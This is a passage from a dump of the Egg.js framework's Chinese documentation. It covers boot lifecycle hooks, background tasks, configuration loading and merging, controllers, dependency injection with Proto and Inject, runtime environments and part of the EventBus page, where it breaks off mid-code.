    "content": "# 启动自定义\n\n我们常常需要在应用启动期间进行一些初始化工作，待初始化完成后，应用才可以启动成功，并开始对外提供服务。\n\n框架提供了统一的入口文件（`app.js`）进行启动过程自定义。这个文件需要返回一个 Boot 类。我们可以通过定义 Boot 类中的生命周期方法来执行启动应用过程中的初始化工作。\n\n框架提供了以下 [生命周期函数](../advanced/loader.md#life-cycles) 供开发人员处理：\n\n- 配置文件即将加载，这是最后动态修改配置的时机（`configWillLoad`）；\n- 配置文件加载完成（`configDidLoad`）；\n- 文件加载完成（`didLoad`）；\n- 插件启动完毕（`willReady`）；\n- worker 准备就绪（`didReady`）；\n- 应用启动完成（`serverDidReady`）；\n- 应用即将关闭（`beforeClose`）。\n\n我们可以在 `app.ts` 中定义这个 Boot 类。下面我们抽取几个在应用开发中常用的生命周期函数为例：\n\n```ts\n// app.ts\nimport type { Application, ILifecycleBoot } from 'egg';\n\nexport default class AppBootHook implements ILifecycleBoot {\n  private readonly app: Application;\n\n  constructor(app: Application) {\n    this.app = app;\n  }\n\n  configWillLoad() {\n    // 此时 config 文件已经被读取并合并，但还并未生效\n    // 这是应用层修改配置的最后机会\n    // 注意：此函数只支持同步调用\n\n    // 例如：参数中的密码是加密的，在此处进行解密\n    this.app.config.mysql.password = decrypt(this.app.config.mysql.password);\n    // 例如：插入一个中间件到框架的 coreMiddleware 之间\n    const statusIdx = this.app.config.coreMiddleware.indexOf('status');\n    this.app.config.coreMiddleware.splice(statusIdx + 1, 0, 'limit');\n  }\n\n  async didLoad() {\n    // 所有配置已经加载完毕\n    // 可以用来加载应用自定义的文件，启动自定义服务\n\n    // 例如：创建自定义应用的实例\n    this.app.queue = new Queue(this.app.config.queue);\n    await this.app.queue.init();\n\n    // 例如：加载自定义目录\n    this.app.loader.loadToContext(path.join(__dirname, 'app/tasks'), 'tasks', {\n      fieldClass: 'tasksClasses',\n    });\n  }\n\n  async willReady() {\n    // 所有插件已启动完毕，但应用整体尚未 ready\n    // 可进行数据初始化等操作，这些操作成功后才启动应用\n\n    // 例如：从数据库加载数据到内存缓存\n    this.app.cacheData = await this.app.model.query(QUERY_CACHE_SQL);\n  }\n\n  async didReady() {\n    // 应用已启动完毕\n\n    const ctx = await this.app.createAnonymousContext();\n    await ctx.service.Biz.request();\n  }\n\n  async serverDidReady() {\n    // http/https 服务器已启动，开始接收外部请求\n    // 此时可以从 app.server 获取 server 实例\n\n    this.app.server.on('timeout', (socket) => {\n      // 处理 socket 超时\n    });\n  }\n}\n```\n\n**注意：在自定义生命周期函数中，不建议进行耗时的操作，因为框架会有启动的超时检测。**\n\n如果你的 Egg 框架的生命周期函数是旧版本的，建议你将其升级到类方法模式；详情请查看[升级你的生命周期事件函数](../advanced/loader-update.md)。\n"
  },
  {
    "path": "site/docs/zh-CN/basics/backgroundTask.md",
    "content": "# BackgroundTask 异步任务\n\n## 使用场景\n\n在业务逻辑执行完毕，请求返回后，框架会将本次请求的上下文信息进行释放，以避免造成内存泄漏。若在请求返回后，仍然需要执行一些日志上报等异步逻辑时，可以使用框架提供的 `backgroundTaskHelper` 工具类来执行异步任务，以主动通知框架不要立即释放上下文信息。\n\n## 使用方式\n\n在需要执行异步任务的地方，注入 `backgroundTaskHelper` 对象，然后调用 `run` 方法执行异步逻辑。\n\n```typescript\nimport { BackgroundTaskHelper, Inject, SingletonProto } from 'egg';\n\n@SingletonProto()\nexport class TriggerService {\n  @Inject()\n  private backgroundTaskHelper: BackgroundTaskHelper;\n\n  @Inject()\n  private fooService: any;\n\n  @Inject()\n  private barService: any;\n\n  async trigger() {\n    this.backgroundTaskHelper.run(async () => {\n      // do the background task\n      this.fooService.call();\n      this.barService.call();\n    });\n  }\n}\n```\n\n## 超时时间\n\n框架不会无限的等待异步任务执行，默认情况下，5s 后如果异步任务还没有完成，则会放弃等待，开始执行释放过程。若特殊情况下，确实需要执行长耗时的异步任务，可手动调整超时时间，通过 `backgroundTaskHelper.timeout` 来设置超时时间，单位为毫秒。超时时间为 context 级别设置，若同一个请求中，多次设置超时时间，则以最后一次设置的为准。\n\n```typescript\nimport { BackgroundTaskHelper, Inject, SingletonProto } from 'egg';\n\n@SingletonProto()\nexport class TriggerService {\n  @Inject()\n  private backgroundTaskHelper: BackgroundTaskHelper;\n\n  async trigger() {\n    this.backgroundTaskHelper.timeout = 10000;\n    this.backgroundTaskHelper.run(async () => {\n      // do the background task\n    });\n  }\n}\n```\n\n## 其他方案\n\n- 标准应用中，还可以使用 [EventBus](./eventbus) 来实现异步任务的处理。\n"
  },
  {
    "path": "site/docs/zh-CN/basics/config.md",
    "content": "# Config 配置\n\n框架提供了强大且可扩展的配置功能，可以自动合并应用、插件、框架的配置，按顺序覆盖，且可以根据环境维护不同的配置。合并后的配置可直接从 `app.config` 获取。\n\n配置的管理有多种方案，以下列举一些常见的方案：\n\n1. 使用平台管理配置，应用构建时将当前环境的配置放入包内，启动时指定该配置。但应用就无法一次构建多次部署，而且本地开发环境想使用配置会变得很麻烦。\n2. 使用平台管理配置，在启动时将当前环境的配置通过环境变量传入，这是比较优雅的方式，但框架对运维的要求会比较高，需要部署平台支持，同时开发环境也有相同的痛点。\n3. 使用代码管理配置，在代码中添加多个环境的配置，在启动时传入当前环境的参数即可。但无法全局配置，必须修改代码。\n\n我们选择了最后一种配置方案，**配置即代码**，配置的变更也应该经过审核后才能发布。应用包本身是可以部署在多个环境的，只需要指定运行环境即可。\n\n### 多环境配置\n\n框架支持根据环境来加载配置，定义多个环境的配置文件，具体环境请查看[运行环境配置](./env.md)。\n\n```\nconfig\n|- config.default.js\n|- config.prod.js\n|- config.unittest.js\n`- config.local.js\n```\n\n`config.default.js` 为默认的配置文件，所有环境都会加载这个配置文件，一般也会作为开发环境的默认配置文件。\n\n当指定 `env` 时，会同时加载默认配置和对应的配置（具名配置）文件。具名配置和默认配置将合并（使用 [extend2](https://www.npmjs.com/package/extend2) 深拷贝）成最终配置，具名配置项会覆盖默认配置文件的同名配置。例如，`prod` 环境会加载 `config.prod.js` 和 `config.default.js` 文件，`config.prod.js` 会覆盖 `config.default.js` 的同名配置。\n\n### 配置写法\n\n配置文件返回的是一个对象，可以覆盖框架的一些配置，应用也可以将自己业务的配置放到这里方便管理。\n\n```js\n// 配置 logger 文件的目录，logger 默认配置由框架提供\nmodule.exports = {\n  logger: {\n    dir: '/home/admin/logs/demoapp',\n  },\n};\n```\n\n配置文件也可以简化地写成 `exports.key = value` 形式：\n\n```js\nexports.keys = 'my-cookie-secret-key';\nexports.logger = {\n  level: 'DEBUG',\n};\n```\n\n配置文件也可以返回一个函数，该函数可以接受 `appInfo` 参数：\n\n```js\n// 将 logger 目录放到代码目录下\nconst path = require('path');\nmodule.exports = (appInfo) => {\n  return {\n    logger: {\n      dir: path.join(appInfo.baseDir, 'logs'),\n    },\n  };\n};\n```\n\n内置的 `appInfo` 属性包括：\n\n| appInfo | 说明                                                                       |\n| ------- | -------------------------------------------------------------------------- |\n| pkg     | `package.json` 文件                                                        |\n| name    | 应用名称，同 `pkg.name`                                                    |\n| baseDir | 应用代码的目录                                                             |\n| HOME    | 用户目录，如 admin 账户为 `/home/admin`                                    |\n| root    | 应用根目录，在 `local` 和 `unittest` 环境下为 `baseDir`，其他都为 `HOME`。 |\n\n`appInfo.root` 是一个优雅的适配方案。例如，在服务器环境我们通常使用 `/home/admin/logs` 作为日志目录，而在本地开发时为了避免污染用户目录，我们需要一种优雅的适配方案，`appInfo.root` 正好解决了这个问题。\n\n请根据具体场合选择合适的写法。但请确保没有完成以下代码：\n\n```js\n// 配置文件 config/config.default.js\nexports.someKeys = 'abc';\nmodule.exports = (appInfo) => {\n  const config = {};\n  config.keys = '123456';\n  return config;\n};\n```\n\n### 配置加载顺序\n\n应用、插件、框架都可以定义这些配置，且目录结构都是一致的，但存在优先级（应用 > 框架 > 插件），相对于此运行环境的优先级会更高。\n\n比如在 prod 环境中加载一个配置的加载顺序如下，后加载的会覆盖前面的同名配置。\n\n```\n-> 插件 config.default.js\n-> 框架 config.default.js\n-> 应用 config.default.js\n-> 插件 config.prod.js\n-> 框架 config.prod.js\n-> 应用 config.prod.js\n```\n\n**注意**：插件之间也会有加载顺序，但大致顺序类似。具体逻辑可[查看加载器](../advanced/loader.md)。\n\n### 合并规则\n\n配置的合并使用 `extend2` 模块进行深度拷贝，`extend2` 来源于 `extend`，但是在处理数组时的表现会有所不同。\n\n```js\nconst a = {\n  arr: [1, 2],\n};\nconst b = {\n  arr: [3],\n};\nextend(true, a, b);\n// => { arr: [ 3 ] }\n```\n\n根据上面的例子，框架直接覆盖数组而不是进行合并。\n\n### 配置结果\n\n框架在启动时会把合并后的最终配置输出到 `run/application_config.json`（worker 进程）和 `run/agent_config.json`（agent 进程）中，以供问题分析。\n\n配置文件中会隐藏以下两类字段：\n\n1. 安全字段，如密码、密钥等。这些字段通过 `config.dump.ignore` 属性进行配置，其类型必须是 [Set]。可参见[默认配置](https://github.com/eggjs/egg/blob/master/config/config.default.js)。\n2. 非字符串化字段，如函数、Buffer 等。这些字段在 `JSON.stringify` 后所生成的内容容量很大。\n\n此外，框架还会生成 `run/application_config_meta.json`（worker 进程）和 `run/agent_config_meta.json`（agent 进程）文件。这些文件用于排查配置属性的来源，例如：\n\n```json\n{\n  \"logger\": {\n    \"dir\": \"/path/to/config/config.default.js\"\n  }\n}\n```\n\n[Set]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set\n[extend]: https://github.com/justmoon/node-extend\n[extend2]: https://github.com/eggjs/extend2\n"
  },
  {
    "path": "site/docs/zh-CN/basics/controller.md",
    "content": "# Controller\n\n## 使用场景\n\n通常 Web 应用会采用 `MVC` 架构，其中 `C` 即为控制器 (Controller)，负责解析用户的输入，处理后返回相应的结果。\n通俗来说，当需要在应用中增加一个对外提供服务的 HTTP 等类型的接口时，使用对应的 Controller 装饰器进行定义和实现。\n\n应用实现 HTTPController 后，客户端可通过 HTTP 协议请求服务端的控制器，控制器处理结束后响应客户端，这是一个最基础的 ”请求 - 响应“ 流程。\n\n## 最佳实践\n\n一般而言，Controller 不应该包含太多的业务逻辑，仅进行和协议相关的处理逻辑。\n\n- 获取客户端传递的请求参数，例如在 HTTPController 中通过 HTTPHeader 或 HTTPBody 等等装饰器获取请求参数。\n- 对请求参数进行校验和组装，确保后续业务逻辑中处理的参数符合预期。\n- 调用 Service 进行业务处理。\n- 对 Service 返回的结果进行转换，例如渲染为 HTML。\n- 基于通信协议，组装响应数据，返回给客户端。\n\n## 支持的类型\n\negg 提供了不同的 Controller 装饰器，用于实现不同类型的接口，可依据需求场景进行选择。\n\n| Controller 装饰器                                    | 说明                             |\n| ---------------------------------------------------- | -------------------------------- |\n| [@HTTPController / @HTTPMethod](./httpcontroller.md) | 用于实现 HTTP 接口               |\n| [@MCPController](./mcpcontroller.md)                 | 用于实现 MCP Server              |\n| [@Schedule](./schedule.md)                           | 用于**标准应用**实现定时任务接口 |\n"
  },
  {
    "path": "site/docs/zh-CN/basics/di.md",
    "content": "# 依赖注入\n\n## Proto\n\n在领域驱动开发中，一般我们会将逻辑放到 Service 中，在 Egg.js 里，通过 `Proto` 来实现。\n\n`Proto` 提供了可配置相关信息：\n\n- 实例化方式：每次请求实例化/全局单例\n- 访问级别：`Module` 外是否可访问\n- 实例化名称\n\n## 实例化方式\n\n包含了 `ContextProto` 和 `SingletonProto` 两种形式，具体细节可以查看下面的相关文档。\n\n## 实例化名称\n\n十分关键，决定 `@Inject` 注入的实例应该是哪个。默认会把 Proto 类的首字母转为小写，如 `UserAdapter` 会转换为 `userAdapter`。\n如果有不符合预期的可以手动指定，比如：\n\n```ts\n// MISTAdapter 的实例名称即为 mistAdapter\n@SingletonProto({ name: 'mistAdapter' })\nclass MISTAdapter {}\n```\n\n## 访问级别\n\nModule 内所有的原型都能被同 Module 内的原型依赖（`@Inject`），只有 `accessLevel: AccessLevel.PUBLIC` 的原型可以被其它 Module 所访问。默认访问级别是 `AccessLevel.PRIVATE`\n\n```ts\nroot dir\n└── app\n    └── module\n        ├── fooModule\n        │   ├── Private.ts\n        │   ├── Public.ts\n        │   └── Access.ts  // 可以 Inject Private/Public\n        └── barModule\n            └── Access.ts  // 只可以 Inject Public\n```\n\n:::warning\nModule 内逻辑应尽可能高内聚，只对外暴露必要的接口\n并且一旦暴露意味着会产生依赖，接口代码变更需要自行考虑向下兼容问题\n:::\n\n## SingletonProto\n\n### 定义\n\n和 `ContextProto` 类似，整个应用生命周期只会实例化一个 `SingletonProto` 。\n\n推荐默认使用 `SingletonProto`，可以提升应用性能，并且可以在 `SingletonProto` 里面注入 `ContextProto` 对象。\n\n```ts\n@SingletonProto({\n  // 原型的实例化名称，非必传\n  name?: string;\n\n  // 对象是在 module 内可访问还是全局可访问\n  // 默认值为 AccessLevel.PRIVATE\n  accessLevel?: AccessLevel;\n})\n```\n\n### 示例\n\n```ts\n// biz/HelloService.ts\nimport { SingletonProto } from 'egg';\n\n@SingletonProto()\nexport class HelloService {\n  async hello(): Promise<string> {\n    return 'hello';\n  }\n}\n\n@SingletonProto({\n  name: 'worldInterface',\n})\nexport class WorldService {\n  async world(): Promise<string> {\n    return 'world!';\n  }\n}\n```\n\n## ContextProto\n\n### 定义\n\n每次请求都会实例化一个 `ContextProto`。\n:::info\n绝大多数 `Service` 都是无状态的，本身不会存储请求上下文，这种情况推荐使用 `SingletonProto` 即可。因为只需要全局初始化一个对象，而不需要每个请求都初始化一个对象（会导致应用性能下降）。\n对于需要存储请求上下文信息，并在多个 `Service` 间共享的场景，则可以使用 `ContextProto`，以保证不同请求获取的对象是隔离的。\n:::\n\n```ts\nenum AccessLevel {\n  // 仅 module 内可访问\n  PRIVATE = 'PRIVATE',\n  // 全局可访问\n  PUBLIC = 'PUBLIC',\n}\n\n@ContextProto({\n  // 原型的实例化名称，非必传\n  name?: string;\n\n  // 对象是在 module 内可访问还是全局可访问\n  // 默认值为 AccessLevel.PRIVATE\n  accessLevel?: AccessLevel;\n})\n```\n\n### 示例\n\n```ts\n// service.ts\nimport { ContextProto } from 'egg';\n\n@ContextProto()\nexport class HelloService {\n  async hello(): Promise<string> {\n    return 'hello';\n  }\n}\n\n@ContextProto({\n  name: 'worldInterface',\n})\nexport class WorldService {\n  async world(): Promise<string> {\n    return 'world!';\n  }\n}\n```\n\n如何被注入使用\n\n```ts\nimport { Inject, ContextProto } from 'egg';\nimport { HelloService, WorldService } from './service.ts';\n\n@ContextProto()\nexport class UseProtoDemo {\n  @Inject()\n  helloService: HelloService;\n\n  @Inject()\n  worldInterface: WorldService;\n\n  async say(): Promise<string> {\n    return this.helloService.hello() + ',' + this.worldInterface.world();\n  }\n}\n```\n\n<style>\n.ne-alert {\n    display: block;\n    width: 100%;\n    margin: 4px 0;\n    padding: 10px;\n    border-radius: 4px;\n}\n.ne-alert-background {\n    background-color: rgba(246, 225, 172, 0.5);\n}\n.ne-error-background {\n    background-color: rgba(248, 206, 211, 0.5);\n}\n.context-p-mini-top {\n    margin-top: 8px;\n}\n.context-no-bottom {\n    padding-bottom: 0px;\n    margin-bottom: 0px;\n}\n</style>\n\n## Inject\n\n### 定义\n\n原型中可以依赖其他的原型，或者 Egg 中的对象。通过 `@Inject` 注解来实现依赖注入\n\n```ts\n@Inject(param?: {\n  // 注入对象的名称，在某些情况下一个原型可能有多个实例\n  // 比如说 egg 的 logger\n  // 默认为属性名称\n  name?: string;\n  // 注入原型的名称\n  // 在某些情况不希望注入的原型和属性使用一个名称\n  // 默认为属性名称\n  proto?: string;\n})\n```\n\n### 示例\n\n```ts\nimport { Inject, SingletonProto, Logger } from 'egg';\n\n@SingletonProto()\nexport class HelloService {\n  @Inject()\n  fooService: FooService; // 注入其它原型实例\n\n  @Inject()\n  logger: Logger; // 注入 egg 对象\n\n  async hello(user: User): Promise<string> {\n    this.logger.info(`[HelloService] hello ${this.fooService.hello()}`);\n  }\n}\n```\n\n### 使用说明\n\nInject 在使用时有一些点需要注意：\n\n- 原型之间不允许有循环依赖，比如 Proto A - inject -> Proto B - inject- > Proto A\n- 类似原型之间不允许有循环依赖，`Module` 之间也不能有循环依赖\n- 一个 `Module` 内不能有实例化方式和名称同时相同的原型\n- <font color=red>不可以注入 Egg 的 `ctx`/`app`，用什么注入什么</font>\n\n#### Inject name 的作用\n\n可以让注入进来的实例名称和原型实例化不一样，这在使用别名时会比较有用\n\n```ts\n/*** 定义原型 ***/\n@SingletonProto()\nexport class HelloService {\n  async hello(): Promise<string> {\n    return 'hello';\n  }\n}\n\n@SingletonProto({\n  name: 'worldInterface',\n})\nexport class WorldService {\n  async world(): Promise<string> {\n    return 'world!';\n  }\n}\n\n/*** 注入原型 ***/\n@SingletonProto()\nclass Foo {\n  @Inject()\n  helloService: HelloService;\n\n  @Inject({ name: 'helloService' })\n  aliasHelloService: HelloService; // 等价于上面的 helloService\n\n  @Inject({ name: 'worldInterface' })\n  worldService: WorldService;\n}\n```\n\n#### Inject 类型的作用\n\n注入依赖的是 proto name 而不是类型，所以下面的代码照样可以运行\n\n```ts\nimport { Inject, SingletonProto } from 'egg';\n\n@SingletonProto()\nclass Foo {\n  @Inject()\n  redis: any; // 类型定义为 any 照样可以注入 Egg Context 上的 redis\n}\n```\n\n那么这里类型的作用仅仅是 TypeScript 的类型提示（比如设置成 `any`，只是缺失了 Redis SDK 的 API 提示）\n\n### 兼容 Egg\n\nModule 会自动去遍历 `Context`/`Application` 对象，获取其所有的属性，<strong>所有的属性</strong>都可以进行无缝的注入，比如下面常见的例子\n\n#### 注入 Egg 配置\n\n```ts\nimport { Inject, SingletonProto, EggAppConfig } from 'egg';\n\n@SingletonProto()\nclass Foo {\n  @Inject()\n  config: EggAppConfig;\n\n  bar() {\n    console.log('current env is %s', this.config.env);\n  }\n}\n```\n\n#### 注入 logger\n\n专为 logger 做了优化，可以直接注入 custom logger\n\n```ts\n// config/config.default.ts\nexport default {\n  customLogger: {\n    fooLogger: {\n      file: 'foo.log',\n    },\n  },\n};\n```\n\n代码中可以直接注入:\n\n```ts\nimport { Inject, SingletonProto, Logger } from 'egg';\n\n@SingletonProto()\nclass FooService {\n  // 注入 ${appname}-web.log\n  @Inject()\n  logger: Logger;\n\n  // 注入 egg-web.log\n  @Inject()\n  coreLogger: Logger;\n\n  // 注入 customLogger 名字为 fooLogger\n  @Inject()\n  fooLogger: Logger;\n}\n```\n\n#### 注入 `Service`\n\n:::warning\n强烈建议把 Egg Service 的代码通过 `Proto` 重新封装再注入，对于已有模式的 `Service`，可以通过下面的方式引入\n:::\n\n```ts\nimport { EggLogger, Service, Inject, SingletonProto } from 'egg';\n\n@SingletonProto()\nclass FooService {\n  // 注入整个 ctx.service，再获取对应需要的 xxxService\n  @Inject()\n  service: Service;\n\n  get xxxService() {\n    return this.service.xxxService;\n  }\n}\n```\n\n#### 注入 `HttpClient`\n\n```ts\nimport { Inject, SingletonProto, HttpClient } from 'egg';\n\n@SingletonProto()\nclass Foo {\n  @Inject()\n  httpClient: HttpClient;\n\n  async bar() {\n    await this.httpClient.request('https://alipay.com');\n  }\n}\n```\n\n#### 注入 Egg 的方法\n\n由于 `Module` 注入时，只可以注入对象，不能注入方法，如果需要使用现有 Egg 的方法，就需要对方法进行一定的封装。\n\n举个例子：假设 `Context` 上有一个方法是 `getHeader` ，在 `Module` 中使用这个方法需要如何封装。\n\n```ts\n// extend/context.ts\nexport default {\n  getHeader() {\n    return '23333';\n  },\n};\n```\n\n先将方法封装成一个对象。\n\n```ts\n// HeaderHelper.ts\nclass HeaderHelper {\n  constructor(ctx) {\n    this.ctx = ctx;\n  }\n\n  getHeader(): string {\n    return this.ctx.getHeader();\n  }\n}\n```\n\n再将对象放到 `Context` 扩展上即可。\n\n```ts\n// extend/context.ts\nconst HEADER_HELPER = Symbol('context#headerHelper');\n\nexport default {\n  get headerHelper() {\n    if (!this[HEADER_HELPER]) {\n      this[HEADER_HELPER] = new HeaderHelper(this);\n    }\n    return this[HEADER_HELPER];\n  },\n};\n```\n\n## `Module` 内原型名称冲突\n\n### 定义\n\n一个 `Module` 内，有两个原型，原型名相同，实例化不同，这时直接 `Inject` 是不行的，`Module` 无法理解具体需要哪个对象。\n这时就需要告知 `Module` 需要注入的对象实例化方式是哪种。\n\n```ts\n@InitTypeQualifier(initType: ObjectInitType)\n```\n\n### 示例\n\n```ts\nimport {\n  Logger,\n  Inject,\n  InitTypeQualifier,\n  ObjectInitType,\n  SingletonProto,\n} from 'egg';\n\n@SingletonProto()\nexport class HelloService {\n  @Inject()\n  // 明确指定实例化方式为 CONTEXT 的 logger\n  @InitTypeQualifier(ObjectInitType.CONTEXT)\n  logger: Logger;\n}\n```\n\n## `Module` 间原型名称冲突\n\n### 定义\n\n可能多个 `Module` 都实现了名称为 `HelloService` 的原型，需要明确的告知 `Module` 需要注入的原型来自哪个 `Module`。\n\n```ts\n@ModuleQualifier(moduleName: string)\n```\n\n### 示例\n\n```ts\nimport { Inject, InitTypeQualifier, ObjectInitType, Logger } from 'egg';\n\n@SingletonProto()\nexport class HelloService {\n  @Inject()\n  // 明确指定使用来自 foo `Module` 的 HelloAdapter\n  @ModuleQualifier('foo')\n  helloAdapter: HelloAdapter;\n}\n```\n\n## Qualifier 动态注入\n\n### 使用场景\n\n我们代码中经常会在不同场景下有不同的实现，比较简单的做法是，在需要使用的地方去使用 if/else 或者 switch 去切换。\n但是这个面临的一个问题是，每次我们需要扩展一个类型时，至少需要修改两个地方，一个是增加实现，一个是在使用的地方增加代码分支。\n往往会产生遗漏，导致我们的代码出现问题。我们希望变更是收敛的，只要我们实现了就能动态的获取到。\n因此引入了动态注入的方式来解决这个问题。\n\n### 使用\n\n1. 定义一个抽象类和一个类型枚举。\n\n```typescript\nexport enum HelloType {\n  FOO = 'FOO',\n  BAR = 'BAR',\n}\n\n// AbstractHello.ts\nexport abstract class AbstractHello {\n  abstract hello(): string;\n}\n```\n\n2. 定义一个自定义枚举。\n\n:::danger\n注意事项：\n\n- **ATTRIBUTE 不要重复了，可能会导致实现被覆盖**\n- **抽象类不要指定错了，可能导致实现被覆盖**\n  :::\n\n```typescript\nimport { ImplDecorator, QualifierImplDecoratorUtil } from 'egg';\nimport { HelloType } from '../HelloType.ts';\nimport { AbstractHello } from '../AbstractHello.ts';\n\nexport const HELLO_ATTRIBUTE = Symbol('HELLO_ATTRIBUTE');\n\n// 这个工具类可以实现类型检查\n// 1. 加了这个注解一定要实现抽象类\n// 2. 注解的参数一定是枚举值\nexport const Hello: ImplDecorator<AbstractHello, typeof HelloType> =\n  QualifierImplDecoratorUtil.generatorDecorator(AbstractHello, HELLO_ATTRIBUTE);\n```\n\n3. 实现抽象类。\n\n```typescript\nimport { SingletonProto } from 'egg';\nimport { Hello } from '../decorator/Hello.ts';\nimport { HelloType } from '../HelloType.ts';\nimport { AbstractHello } from '../AbstractHello.ts';\n\n@SingletonProto()\n@Hello(HelloType.BAR)\nexport class BarHello extends AbstractHello {\n  hello(): string {\n    return 'hello, bar';\n  }\n}\n```\n\n4. 动态获取实现。\n\n```typescript\nimport { EggObjectFactory, SingletonProto, Inject } from 'egg';\nimport { HelloType } from './HelloType.ts';\nimport { AbstractHello } from './AbstractHello.ts';\n\n@SingletonProto()\nexport class HelloService {\n  @Inject()\n  private eggObjectFactory: EggObjectFactory;\n\n  async hello(): Promise<string> {\n    const helloImpl = await this.eggObjectFactory.getEggObject(\n      AbstractHello,\n      HelloType.BAR,\n    );\n    return helloImpl.hello();\n  }\n}\n```\n\n### 真实示例\n\n[cnpmcore/app/common/adapter/binary/AbstractBinary.ts](https://github.com/cnpm/cnpmcore/blob/b6c96defa4c61783e1bf9a1b5dbe2420918ab69a/app/common/adapter/binary/AbstractBinary.ts#L136)\n\n### FAQ\n\n- 如果我没有枚举，类型是无限扩展的怎么办？\n\n```typescript\n// 通过使用一个 record 来伪装成一个 enum\ntype AnyEnum = Record<string, string>;\n\nexport const Convertor: ImplDecorator<AbstractFoo, AnyEnum> =\n  QualifierImplDecoratorUtil.generatorDecorator(AbstractFoo, FOO_ATTRIBUTE);\n```\n"
  },
  {
    "path": "site/docs/zh-CN/basics/env.md",
    "content": "# 运行环境\n\n一个 Web 应用本身应该是无状态的，并拥有根据运行环境设置自身的能力。\n\n## 指定运行环境\n\n框架有两种方式指定运行环境：\n\n1. 通过 `config/env` 文件指定，该文件的内容就是运行环境，如 `prod`。一般通过构建工具来生成这个文件。\n\n```plaintext\n// config/env\nprod\n```\n\n2. 通过 `EGG_SERVER_ENV` 环境变量指定运行环境更加方便，比如在生产环境启动应用：\n\n```shell\nEGG_SERVER_ENV=prod npm start\n```\n\n## 应用内获取运行环境\n\n框架提供了变量 `app.config.env`，来表示应用当前的运行环境。\n\n## 运行环境相关配置\n\n不同的运行环境会对应不同的配置，具体请阅读 [Config 配置](./config.md)。\n\n## 与 `NODE_ENV` 的区别\n\n很多 Node.js 应用会使用 `NODE_ENV` 来区分运行环境，但 `EGG_SERVER_ENV` 区分得更加精细。一般的项目开发流程包括本地开发环境、测试环境、生产环境等，除了本地开发环境和测试环境外，其他环境可统称为**服务器环境**。服务器环境的 `NODE_ENV` 应该为 `production`。而且 npm 也会使用这个变量，在应用部署时，一般不会安装 devDependencies，所以这个值也应该为 `production`。\n\n框架默认支持的运行环境及映射关系（如果未指定 `EGG_SERVER_ENV`，会根据 `NODE_ENV` 来匹配）如下表所示：\n\n| `NODE_ENV` | `EGG_SERVER_ENV` | 说明         |\n| ---------- | ---------------- | ------------ |\n| （不设置） | local            | 本地开发环境 |\n| test       | unittest         | 单元测试     |\n| production | prod             | 生产环境     |\n\n例如，当 `NODE_ENV` 为 `production` 而 `EGG_SERVER_ENV` 未指定时，框架会将 `EGG_SERVER_ENV` 设置成 `prod`。\n\n## 自定义环境\n\nEgg 框架支持开发者根据实际需要自定义开发环境。\n\n假如你需要在开发流程中加入 SIT 集成测试环境，只需将环境变量 `EGG_SERVER_ENV` 设为 `sit`。同时，建议设置 `NODE_ENV` 为 `production`，这样在启动项目时，Egg 会加载 `config/config.sit.js` 配置文件，并将运行时环境的 `app.config.env` 设为 `sit`。\n\n## 与 Koa 的区别\n\n在 Koa 中，我们通过 `app.env` 来判断运行环境，其默认值为 `process.env.NODE_ENV`。然而在 Egg（及基于 Egg 的框架）中，配置统一放置于 `app.config`，因此需要通过 `app.config.env` 来区分环境。不再使用 `app.env`。\n"
  },
  {
    "path": "site/docs/zh-CN/basics/eventbus.md",
    "content": "# EventBus 消息中枢\n\n## 使用场景\n\n在业务开发中，经常会需要解耦的异步操作，简单做法可以通过 `backgroundTaskHelper` 执行。但这种方法无法实现代码间的解耦，需要在 `backgroundTask` 的回调中编写异步逻辑。这时引入事件更合适。\n\n## 代码对比\n\n### 使用 backgroundTaskHelper\n\n```typescript\nimport { BackgroundTaskHelper } from 'egg';\n\nexport class TriggerService {\n  @Inject()\n  private backgroundTaskHelper: BackgroundTaskHelper;\n\n  @Inject()\n  private fooService;\n\n  @Inject()\n  private barService;\n\n  async trigger() {\n    this.backgroundTaskHelper.run(async () => {\n      // do the background task\n      this.fooService.call();\n      this.barService.call();\n    });\n  }\n}\n```\n\n### 使用 EventBus\n\n可以很明显的看到对比业务触发的地方不会再耦合其他的业务逻辑。可以没有负担的进行扩展。\n\n```typescript\nimport { Inject, EventBus, Event } from 'egg';\n\nexport class TriggerService {\n  @Inject()\n  private eventBus: EventBus;\n\n  async trigger() {\n    this.eventBus.emit('hello');\n  }\n}\n\n@Event('hello')\nclass FooHelloHandler {\n  handle() {\n    // ...\n  }\n}\n\n@Event('hello')\nclass BarHelloHandler {\n  handle() {\n    // ...\n  }\n}\n```\n\n## 使用\n\n### 定义事件\n\n通过 ts 强大的类型合并功能，我们可以进行事件以及参数的强类型检查。\n\n```typescript\n// 这行必须有，否则下面的 declare 会把原始的 module 覆盖\nimport 'egg';\n\ndeclare module 'egg' {\n  interface Events {\n    // 自定义事件\n    // property 即为事件名称\n    // property 的值会约束消费的函数申明\n    hello: (message: string) => Promise<void>;\n  }\n}\n```\n\n### 触发事件\n\n通过注入 eventBus 即可触发。\n\n```typescript\nimport { SingletonProto, Inject, EventBus } from 'egg';\n\n@SingletonProto()\nexport class FooProducer {\n  @Inject()\n  private eventBus: EventBus;\n\n  trigger() {\n    this.eventBus.emit('hello', '01');\n  }\n}\n```\n\n会神奇地发现 emit 会及时出现正确的类型提示\n\n![](https://mdn.alipayobjects.com/huamei_1jxgeu/afts/img/cwwCRpOnomgAAAAARSAAAAgADpOHAQFr/original)\n\n### 消费事件\n\n为一个类添加 Event 注解，即可实现事件消费。\n\n```typescript\nimport { EggLogger, Event, Inject } from 'egg';\n\n// ts 会检查事件是否在 Events 中存在\n@Event('hello')\nexport class FooHandler {\n  @Inject()\n  private logger: EggLogger;\n\n  // ts 会检查函数签名是否与 Events 中对应的事件相同\n  async handle(msg: string): Promise<void> {\n    console.log('msg: ', msg);\n  }\n}\n```\n\n### 消费多个事件\n\n一个类添加多次 Event 注解，可以对多个事件进行消费。\n\n并且可以通过 EventContext 注解，注入 EventContext。（可选）\n\n```typescript\nimport { EggLogger, Event, Inject, EventContext } from 'egg';\n\n// ts 会检查事件是否在 Events 中存在，并且会检查 handle 的参数是否符合对应事件的类型定义\n@Event('hello')\n@Event('hi')\nexport class Handler {\n  async handle(@EventContext() ctx: IEventContext, msg: string): Promise<void> {\n    console.log('eventName: ', ctx.eventName);\n    console.log('msg: ', msg);\n  }\n}\n\n// 不需要感知 handle 的事件则无需注入\n@Event('hello')\n@Event('hi')\nexport class Handler {\n  async handle(msg: string): Promise<void> {\n    console.log('msg: ', msg);\n  }\n}\n```\n\n```typescript\nexport interface IEventContext {\n  eventName: keyof 